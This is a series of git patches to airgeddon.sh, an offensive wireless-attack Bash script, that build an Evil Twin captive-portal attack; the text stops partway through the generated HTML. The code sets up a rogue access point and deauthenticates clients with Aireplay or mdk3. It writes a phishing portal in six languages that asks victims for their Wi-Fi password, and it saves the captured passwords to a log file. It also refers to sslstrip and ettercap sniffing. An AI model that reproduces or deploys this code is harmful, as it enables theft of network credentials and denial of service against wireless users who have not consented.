echo + language_strings ${language} 286 "pink" + print_simple_separator + ask_yesno 277 + if [ ${yesno} = "n" ]; then + return_to_et_main_menu=1 + return + fi + ask_et_handshake_file + select_wpa_bssid_target_from_captured_file "$et_handshake" "evil_twin" + if [ "$?" != "0" ]; then + return_to_et_main_menu=1 + return + fi + + echo + language_strings ${language} 28 "blue" + + if [ -z ${channel} ]; then + channel=$(shuf -i 1-11 -n 1) + fi + echo + language_strings ${language} 26 "blue" + + echo + language_strings ${language} 31 "blue" + else + ask_bssid + ask_channel + ask_essid + fi + + if [[ "$et_mode" = "et_sniffing" || "$et_mode" = "et_sniffing_sslstrip" ]]; then + manage_ettercap_log + fi + + return_to_et_main_menu=1 + echo + language_strings ${language} 296 "yellow" + language_strings ${language} 115 "read" + prepare_et_interface + + case ${et_mode} in + "et_onlyap") + exec_et_onlyap_attack + ;; + "et_sniffing") + exec_et_sniffing_attack + ;; + "et_sniffing_sslstrip") exec_et_sniffing_sslstrip_attack ;; "et_captive_portal") - language_strings ${language} 293 "title" - print_iface_selected - print_et_target_vars - print_hint ${current_menu} - #TODO: Evil Twin AP with captive portal + exec_et_captive_portal_attack ;; esac } +function ask_et_handshake_file() { + + echo + readpath=0 + + if [[ -z "$enteredpath" ]] && [[ -z "$et_handshake" ]]; then + language_strings ${language} 312 "blue" + readpath=1 + elif [[ -z "$enteredpath" ]] && [[ -n "$et_handshake" ]]; then + language_strings ${language} 313 "blue" + ask_yesno 187 + if [ ${yesno} = "n" ]; then + readpath=1 + fi + elif [[ -n "$enteredpath" ]] && [[ -z "$et_handshake" ]]; then + language_strings ${language} 151 "blue" + ask_yesno 187 + if [ ${yesno} = "y" ]; then + et_handshake="$enteredpath" + else + readpath=1 + fi + elif [[ -n "$enteredpath" ]] && [[ -n "$et_handshake" ]]; then + language_strings ${language} 313 "blue" + ask_yesno 187 + if [ ${yesno} = "n" ]; then + readpath=1 + fi + fi + + if [ ${readpath} -eq 1 ]; then + validpath=1 + while [[ "$validpath" != "0" ]]; do + read_path "ethandshake" + done + fi +} + function et_dos_menu() { if [ ${return_to_et_main_menu} -eq 1 ]; then return fi - clear - language_strings ${language} 265 "title" - current_menu="et_dos_menu" - initialize_menu_and_print_selections - echo - language_strings ${language} 47 "green" - print_simple_separator - language_strings ${language} 139 mdk3_attack_dependencies[@] - language_strings ${language} 140 aireplay_attack_dependencies[@] - language_strings ${language} 141 mdk3_attack_dependencies[@] - print_simple_separator - language_strings ${language} 266 - print_hint ${current_menu} + if [ "$et_mode" != "et_captive_portal" ]; then - read et_dos_option - case ${et_dos_option} in - 1) - contains_element "$et_dos_option" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - et_dos_attack="Mdk3" - detect_internet_interface + clear + language_strings ${language} 265 "title" + current_menu="et_dos_menu" + initialize_menu_and_print_selections + echo + language_strings ${language} 47 "green" + print_simple_separator + language_strings ${language} 139 mdk3_attack_dependencies[@] + language_strings ${language} 140 aireplay_attack_dependencies[@] + language_strings ${language} 141 mdk3_attack_dependencies[@] + print_simple_separator + language_strings ${language} 266 + print_hint ${current_menu} + + read et_dos_option + case ${et_dos_option} in + 1) + contains_element "$et_dos_option" "${forbidden_options[@]}" if [ "$?" = "0" ]; then - et_prerequisites + forbidden_menu_option else - return + et_dos_attack="Mdk3" + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi fi - fi - ;; - 2) - contains_element "$et_dos_option" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - et_dos_attack="Aireplay" - detect_internet_interface + ;; + 2) + contains_element "$et_dos_option" "${forbidden_options[@]}" if [ "$?" = "0" ]; then - et_prerequisites + forbidden_menu_option else - return + et_dos_attack="Aireplay" + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi fi - fi - ;; - 3) - contains_element "$et_dos_option" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - et_dos_attack="Wds Confusion" - detect_internet_interface + ;; + 3) + contains_element "$et_dos_option" "${forbidden_options[@]}" if [ "$?" = "0" ]; then - et_prerequisites + forbidden_menu_option else - return + et_dos_attack="Wds Confusion" + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi fi - fi - ;; - 4) - return - ;; - *) - invalid_menu_option - ;; - esac + ;; + 4) + return + ;; + *) + invalid_menu_option + ;; + esac - et_dos_menu + et_dos_menu + else + et_dos_attack="Aireplay" + detect_internet_interface + if [ "$?" = "0" ]; then + et_prerequisites + else + return + fi + fi } function detect_internet_interface() { @@ -5767,6 +5996,7 @@ function exit_script_option() { clean_routing_rules killall dhcpd > /dev/null 2>&1 killall hostapd > /dev/null 2>&1 + killall lighttpd > /dev/null 2>&1 time_loop echo -e ${green_color}" Ok\r"${normal_color} fi @@ -6261,7 +6491,7 @@ function detect_screen_resolution() { resolution_detected=0 if hash xdpyinfo 2> /dev/null; then - resolution=$(xdpyinfo | grep -A 3 "screen #0" | grep "dimensions" | tr -s " " | cut -d " " -f 3 | grep "x") + resolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep "dimensions" | tr -s " " | cut -d " " -f 3 | grep "x") if [ "$?" = "0" ]; then resolution_detected=1 diff --git a/changelog.txt b/changelog.txt index 13c2ef856..18e1f0e47 100644 --- a/changelog.txt +++ b/changelog.txt @@ -1,3 +1,8 @@ +4.3 +Evil Twin attack added: captive portal +Some language strings changed +Now initial forwarding state is restored on exit + 4.2 Evil Twin attack added: with integrated sniffing using sslstrip Evil Twin control window beautified and optimized for small windows From 94d9c4b6a31be44ff247cfa3f3be5dfb0d28d494 Mon Sep 17 00:00:00 2001 From: oscarAkaElvis Date: Wed, 14 Sep 2016 14:04:50 +0200 Subject: [PATCH 02/23] v4.3 not finished yet --- README.md | 5 +-- airgeddon.sh | 120 ++++++++++++++++++++++++++++++++++++++++++++++---- changelog.txt | 4 +- 3 files changed, 116 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index d0bd72d90..240d6fa06 100644 --- a/README.md +++ b/README.md @@ -131,12 +131,11 @@ See

-**Kcdtv** (@kcdtv on github) for French translations, beta testing, suggestions about new features and support received since the beginning.
+**Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
**USUARIONUEVO** for helping me to improve the script, suggestions about new features and for the support received.
-**Magix** (@magixgf on github) for helping and supporting me and for our coffee bets. :coffee:
**El padrino** for Catalan translations.
**Beans** for Portuguese translations.
-**MiAl** (@Mi-Al on github) for Russian translations.
+**MiAl** for Russian translations.

Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
diff --git a/airgeddon.sh b/airgeddon.sh index f6e8494f3..7a0ce613e 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=0 +debug_mode=1 #Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 auto_update=1 @@ -2521,6 +2521,27 @@ function language_strings() { arr["portuguese",316]="$pending_of_translation Para este ataque é selecionado automaticamente o método deauth Aireplay" arr["russian",316]="$pending_of_translation Для этой атаки автоматически выбирается метод deauth Aireplay" + arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" + arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" + arr["french",317]="$pending_of_translation Si le mot de passe pour le réseau sans fil avec le portail captif est atteint, décider où enregistrer. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" + arr["catalan",317]="$pending_of_translation Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" + arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" + arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" + + arr["english",318]="Choose the language in which network clients will see the captive portal :" + arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" + arr["french",318]="$pending_of_translation Choisissez la langue dans laquelle les clients du réseau verront le portail captif :" + arr["catalan",318]="$pending_of_translation Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" + arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" + arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" + + arr["english",319]="The captive portal language has been established" + arr["spanish",319]="Se ha establecido el idioma del portal cautivo" + arr["french",319]="$pending_of_translation La langue a été mis en place un portail captif" + arr["catalan",319]="$pending_of_translation S'ha establert l'idioma del portal captiu" + arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" + arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" + case "$3" in "yellow") interrupt_checkpoint ${2} ${3} @@ -2939,13 +2960,13 @@ function language_menu() { ;; 6) if [ "$language" = "russian" ]; then - language_strings ${language} 251 "yellow" - else - language="russian" - language_strings ${language} 307 "yellow" - fi - language_strings ${language} 115 "read" - ;; + language_strings ${language} 251 "yellow" + else + language="russian" + language_strings ${language} 307 "yellow" + fi + language_strings ${language} 115 "read" + ;; *) invalid_language_selected ;; @@ -4304,6 +4325,66 @@ function manage_ettercap_log() { fi } +function manage_captive_portal_log() { + + default_et_captive_portal_logpath=`env | grep ^HOME | awk -F = '{print $2}'` + lastcharetcaptiveportallogpath=${default_et_captive_portal_logpath: -1} + if [ "$lastcharetcaptiveportallogpath" != "/" ]; then + et_captive_portal_logpath="$default_et_captive_portal_logpath/" + fi + default_et_captive_portallogfilename="evil_twin_captive_portal_password-$essid.txt" + default_et_captive_portal_logpath="$et_captive_portal_logpath$default_et_captive_portallogfilename" + validpath=1 + while [[ "$validpath" != "0" ]]; do + read_path "et_captive_portallog" + done +} + +function set_captive_portal_language() { + + clear + language_strings ${language} 293 "title" + print_iface_selected + print_et_target_vars + print_iface_internet_selected + echo + language_strings ${language} 318 "green" + print_simple_separator + language_strings ${language} 79 + language_strings ${language} 80 + language_strings ${language} 113 + language_strings ${language} 116 + language_strings ${language} 249 + language_strings ${language} 308 + print_hint ${current_menu} + + read captive_portal_language_selected + echo + case ${captive_portal_language_selected} in + 1) + captive_portal_language="english" + ;; + 2) + captive_portal_language="spanish" + ;; + 3) + captive_portal_language="french" + ;; + 4) + captive_portal_language="catalan" + ;; + 5) + captive_portal_language="portuguese" + ;; + 6) + captive_portal_language="russian" + ;; + *) + invalid_captive_portal_language_selected + ;; + esac +} + function set_minlength() { minlength=0 @@ -5336,6 +5417,14 @@ function read_path() { read_and_clean_path "et_handshake" check_file_exists "$et_handshake" ;; + "et_captive_portallog") + language_strings ${language} 317 "blue" + read_and_clean_path "et_captive_portal_logpath" + if [ -z "$et_captive_portal_logpath" ]; then + et_captive_portal_logpath="$default_et_captive_portal_logpath" + fi + validate_path "$et_captive_portal_logpath" ${1} + ;; esac validpath="$?" @@ -5696,6 +5785,13 @@ function et_prerequisites() { manage_ettercap_log fi + if [ "$et_mode" = "et_captive_portal" ]; then + manage_captive_portal_log + language_strings ${language} 115 "read" + set_captive_portal_language + language_strings ${language} 319 "blue" + fi + return_to_et_main_menu=1 echo language_strings ${language} 296 "yellow" @@ -5895,6 +5991,14 @@ function invalid_language_selected() { language_menu } +function invalid_captive_portal_language_selected() { + + language_strings ${language} 82 "yellow" + echo + language_strings ${language} 115 "read" + set_captive_portal_language +} + function forbidden_menu_option() { echo diff --git a/changelog.txt b/changelog.txt index 18e1f0e47..bf31d3a73 100644 --- a/changelog.txt +++ b/changelog.txt @@ -8,7 +8,7 @@ Evil Twin attack added: with integrated sniffing using sslstrip Evil Twin control window beautified and optimized for small windows 4.11 -Russian language translation added +Russian language translation added (Thank you to "MiAl") 4.1 Evil Twin attack added: with integrated sniffing @@ -21,7 +21,7 @@ Compatibility extended to OpenMandriva Linux Compatibility extended to Kali arm version on Raspberry Pi 4.02 -New windows sizes calculation method for better viewing even in small resolutions. Dynamic system. +New windows sizes calculation method for better viewing even in small resolutions. Dynamic system Fixed bug restarting Network Manager on Arch Linux Fixed bug restarting Network Manager using debug mode on some distros Suggestion added about possible packet names after failing a dependency check From f9d60d86d345627abb1b3c38222ee80187406873 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 20 Sep 2016 09:46:43 +0200 Subject: [PATCH 03/23] More changes for Captive portal Evil Twin attack. Unfinished yet. --- README.md | 2 +- airgeddon.sh | 195 +++++++++++++++++++++++++++++++++++++++++++------- changelog.txt | 2 +- 3 files changed, 171 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index 240d6fa06..948fd718f 100644 --- a/README.md +++ b/README.md @@ -145,4 +145,4 @@ Thank you too to other authors who inspired me with their scripts:
#Donate If you enjoyed the script, feel free to give a donation. Invite me a coffee sending me a fraction of a bitcoin:
-*3HcTA8H91oPRcd5eu1uJf165sbknQtUSzU* \ No newline at end of file +*3HcTA8H91oPRcd5eu1uJf165sbknQtUSzU* diff --git a/airgeddon.sh b/airgeddon.sh index 7a0ce613e..2ed8a35f7 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=1 +debug_mode=0 #Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 auto_update=1 @@ -135,6 +135,9 @@ control_file="ag.control.sh" webserver_file="ag.lighttpd.conf" webdir="www/" indexfile="index.htm" +checkfile="check.htm" +cssfile="portal.css" +jsfile="portal.js" possible_dhcp_leases_files=( "/var/lib/dhcp/dhcpd.leases" "/var/state/dhcp/dhcpd.leases" @@ -301,6 +304,41 @@ function language_strings() { et_misc_texts["portuguese",8]="Airgeddon. Senhas capturado no ataque ataque Evil Twin" et_misc_texts["russian",8]="Airgeddon. Атака Злой Двойник захватила пароли" + et_misc_texts["english",9]="Wireless network, ESSID:" + et_misc_texts["spanish",9]="Red inalámbrica, ESSID:" + et_misc_texts["french",9]="Réseau sans fil, ESSID:" + et_misc_texts["catalan",9]="Xarxa sense fils, ESSID:" + et_misc_texts["portuguese",9]="Rede sem fio, ESSID:" + et_misc_texts["russian",9]="беспроводная сеть, ESSID:" + + et_misc_texts["english",10]="Enter your wireless network password to get internet access" + et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" + et_misc_texts["french",10]="Entrez votre accès d'aile de mot de passe du réseau sans fil d'accès à internet" + et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés ala xarxa sense fils per poder accedir a internet" + et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" + et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" + + et_misc_texts["english",11]="Password" + et_misc_texts["spanish",11]="Contraseña" + et_misc_texts["french",11]="Mot de passe" + et_misc_texts["catalan",11]="Contrasenya" + et_misc_texts["portuguese",11]="Senha" + et_misc_texts["russian",11]="пароль" + + et_misc_texts["english",12]="Show password" + et_misc_texts["spanish",12]="Mostrar contraseña" + et_misc_texts["french",12]="Afficher le mot de passe" + et_misc_texts["catalan",12]="Mostra la contrasenya" + et_misc_texts["portuguese",12]="Mostrar senha" + et_misc_texts["russian",12]="Показать пароль" + + et_misc_texts["english",13]="Submit" + et_misc_texts["spanish",13]="Enviar" + et_misc_texts["french",13]="Soumettre" + et_misc_texts["catalan",13]="Enviar" + et_misc_texts["portuguese",13]="Enviar" + et_misc_texts["russian",13]="послать" + declare -A arr arr["english",0]="This interface $interface is already in managed mode" arr["spanish",0]="Esta interfaz $interface ya está en modo managed" @@ -2307,7 +2345,7 @@ function language_strings() { arr["english",286]="If you don't have a captured Handshake file from the target network you can get it using this script choosing the appropriate submenu option before coming here to launch this attack" arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo con este script en el submenú adecuado antes de venir aquí a lanzar este ataque" arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un fichier de Handshake capturé de la cible réseau peut obtenir avec ce script dans le sous-menu approprié avant de venir ici pour lancer cette attaque" - arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo amb aquest script en el submenú adequat abans de venir aquí a llançar aquest atac" + arr["catalan",286]="Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo amb aquest script en el submenú adequat abans de venir aquí a llançar aquest atac" arr["portuguese",286]="$pending_of_translation Se você não tem um arquivo handshake capturado a partir do alvo da rede pode obtê-lo com este script no submenu apropriado antes de vir aqui para lançar este ataque" arr["russian",286]="$pending_of_translation Если у вас нет файла квитирующего захваченного из целевой сети может получить его с помощью этого сценария в соответствующем подменю до приезда сюда, чтобы запустить эту атаку" @@ -2475,49 +2513,49 @@ function language_strings() { arr["english",310]="Handshake file selected: "${pink_color}"None"${normal_color} arr["spanish",310]="Fichero de handshake seleccionado: "${pink_color}"Ninguno"${normal_color} arr["french",310]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"Aucun"${normal_color} - arr["catalan",310]="$pending_of_translation Fitxer de handshake seleccionat: "${pink_color}"Ningú"${normal_color} + arr["catalan",310]="Fitxer de handshake seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",310]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"None"${normal_color} arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} arr["spanish",311]="Fichero de handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} arr["french",311]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} - arr["catalan",311]="$pending_of_translation Fitxer de handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} + arr["catalan",311]="Fitxer de handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} arr["russian",311]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$et_handshake"${normal_color} arr["english",312]="No selected Handshake file detected during this session..." arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." arr["french",312]="$pending_of_translation Aucun fichier Handshake sélectionné détecté durant cette session..." - arr["catalan",312]="$pending_of_translation No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." + arr["catalan",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" arr["french",313]="$pending_of_translation Fichier Handshake détecté sélectionné dans cette session "${normal_color}"$et_handshake"${blue_color}"]" - arr["catalan",313]="$pending_of_translation S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" + arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} arr["spanish",314]="Fichero de handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} arr["french",314]="$pending_of_translation Fichier Handshake sélectionnée: "${pink_color}"$enteredpath"${normal_color} - arr["catalan",314]="$pending_of_translation Fitxer de handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} + arr["catalan",314]="Fitxer de handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} arr["russian",314]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$enteredpath"${normal_color} arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file. Network data for the attack will be obtained from the file" arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2. Los datos de la red para el ataque serán obtenidos del fichero" arr["french",315]="$pending_of_translation Cette attaque exige que vous avez déjà capturé un fichier à partir d'un réseau Handshake WPA/WPA2. Réseau de données pour l'attaque être obtenu à partir du fichier" - arr["catalan",315]="$pending_of_translation Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2. Les dades de la xarxa per a l'atac seran obtinguts del fitxer" + arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2. Les dades de la xarxa per a l'atac seran obtinguts del fitxer" arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2. Rede de dados para o ataque ser obtido a partir do ficheiro" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2. Сеть передачи данных для атаки можно получить из файла" arr["english",316]="For this attack is automatically selected Aireplay deauth method" arr["spanish",316]="Para este ataque se ha seleccionado automáticamente el método de desautenticación Aireplay" arr["french",316]="$pending_of_translation Pour cette attaque est automatiquement sélectionné la méthode deauth Aireplay" - arr["catalan",316]="$pending_of_translation Per aquest atac s'ha seleccionat automàticament el mètode de desautenticación Aireplay" + arr["catalan",316]="Per aquest atac s'ha seleccionat automàticament el mètode de desautenticació Aireplay" arr["portuguese",316]="$pending_of_translation Para este ataque é selecionado automaticamente o método deauth Aireplay" arr["russian",316]="$pending_of_translation Для этой атаки автоматически выбирается метод deauth Aireplay" @@ -4948,10 +4986,8 @@ function set_webserver_config() { echo -e "server.document-root = \"$tmpdir$webdir\"\n" > "$tmpdir$webserver_file" echo -e "server.modules = (" >> "$tmpdir$webserver_file" - echo -e "\"mod_accesslog\"," >> "$tmpdir$webserver_file" - echo -e "\"mod_fastcgi\"," >> "$tmpdir$webserver_file" + echo -e "\"mod_cgi\"," >> "$tmpdir$webserver_file" echo -e "\"mod_rewrite\"," >> "$tmpdir$webserver_file" - echo -e "\"mod_auth\"," >> "$tmpdir$webserver_file" echo -e "\"mod_redirect\"" >> "$tmpdir$webserver_file" echo -e ")\n" >> "$tmpdir$webserver_file" echo -e "server.port = 80\n" >> "$tmpdir$webserver_file" @@ -4959,12 +4995,10 @@ function set_webserver_config() { echo -e "server.error-handler-404 = \"/\"\n" >> "$tmpdir$webserver_file" echo -e "mimetype.assign = (" >> "$tmpdir$webserver_file" echo -e "\".html\" => \"text/html\"," >> "$tmpdir$webserver_file" - echo -e "\".htm\" => \"text/html\"," >> "$tmpdir$webserver_file" - echo -e "\".txt\" => \"text/plain\"," >> "$tmpdir$webserver_file" - echo -e "\".jpg\" => \"image/jpeg\"," >> "$tmpdir$webserver_file" - echo -e "\".png\" => \"image/png\"," >> "$tmpdir$webserver_file" - echo -e "\".css\" => \"text/css\"" >> "$tmpdir$webserver_file" - echo -e ")" >> "$tmpdir$webserver_file" + echo -e "\".css\" => \"text/css\"," >> "$tmpdir$webserver_file" + echo -e "\".js\" => \"text/javascript\"" >> "$tmpdir$webserver_file" + echo -e ")\n" >> "$tmpdir$webserver_file" + echo -e "cgi.assign = ( \".htm\" => \"/bin/bash\" )" >> "$tmpdir$webserver_file" sleep 2 } @@ -4973,14 +5007,123 @@ function set_captive_portal_page() { rm -rf -R "$tmpdir$webdir" > /dev/null 2>&1 mkdir "$tmpdir$webdir" > /dev/null 2>&1 - #TODO make captive portal page + echo -e "body * {" > "$tmpdir$webdir$cssfile" + echo -e "box-sizing: border-box;" >> "$tmpdir$webdir$cssfile" + echo -e "font-family: Helvetica, Arial, sans-serif;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e ".button {" >> "$tmpdir$webdir$cssfile" + echo -e "color: #ffffff;" >> "$tmpdir$webdir$cssfile" + echo -e "background-color: #1b5e20;" >> "$tmpdir$webdir$cssfile" + echo -e "border-radius: 5px;" >> "$tmpdir$webdir$cssfile" + echo -e "cursor: pointer;" >> "$tmpdir$webdir$cssfile" + echo -e "height: 30px;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e ".content {" >> "$tmpdir$webdir$cssfile" + echo -e "width: 100%;" >> "$tmpdir$webdir$cssfile" + echo -e "background-color: #43a047;" >> "$tmpdir$webdir$cssfile" + echo -e "padding: 20px;" >> "$tmpdir$webdir$cssfile" + echo -e "margin: 15px auto 0;" >> "$tmpdir$webdir$cssfile" + echo -e "border-radius: 15px;" >> "$tmpdir$webdir$cssfile" + echo -e "color: #ffffff;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e ".title {" >> "$tmpdir$webdir$cssfile" + echo -e "text-align: center;" >> "$tmpdir$webdir$cssfile" + echo -e "margin-bottom: 15px;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "#password {" >> "$tmpdir$webdir$cssfile" + echo -e "width: 100%;" >> "$tmpdir$webdir$cssfile" + echo -e "margin-bottom: 5px;" >> "$tmpdir$webdir$cssfile" + echo -e "border-radius: 5px;" >> "$tmpdir$webdir$cssfile" + echo -e "height: 30px;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "#password:hover," >> "$tmpdir$webdir$cssfile" + echo -e "#password:focus {" >> "$tmpdir$webdir$cssfile" + echo -e "box-shadow: 0 0 10px #69f0ae;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e ".bold {" >> "$tmpdir$webdir$cssfile" + echo -e "font-weight: bold;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + echo -e "#showpass {" >> "$tmpdir$webdir$cssfile" + echo -e "vertical-align: top;" >> "$tmpdir$webdir$cssfile" + echo -e "}" >> "$tmpdir$webdir$cssfile" + + echo -e "(function() {" > "$tmpdir$webdir$jsfile" + echo -e "var onLoad = function() {" >> "$tmpdir$webdir$jsfile" + echo -e "var password = document.getElementById(\"password\");" >> "$tmpdir$webdir$jsfile" + echo -e "var showpass = function() {" >> "$tmpdir$webdir$jsfile" + echo -e "password.setAttribute(\"type\", password.type == \"text\" ? \"password\" : \"text\");" >> "$tmpdir$webdir$jsfile" + echo -e "}" >> "$tmpdir$webdir$jsfile" + echo -e "document.getElementById(\"showpass\").addEventListener(\"click\", showpass);" >> "$tmpdir$webdir$jsfile" + echo -e "document.getElementById(\"showpass\").checked = false;" >> "$tmpdir$webdir$jsfile" + echo -e "};" >> "$tmpdir$webdir$jsfile" + echo -e "document.readyState != 'loading' ? onLoad() : document.addEventListener('DOMContentLoaded', onLoad);" >> "$tmpdir$webdir$jsfile" + echo -e "})();" >> "$tmpdir$webdir$jsfile" + + echo -e "#!/bin/bash" > "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo 'Internet'" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '

${et_misc_texts[$captive_portal_language,9]}

'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '$essid'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '

${et_misc_texts[$captive_portal_language,10]}

'" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo '

${et_misc_texts[$captive_portal_language,12]}

'" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo '
'" >> "$tmpdir$webdir$indexfile" + echo -e "echo '
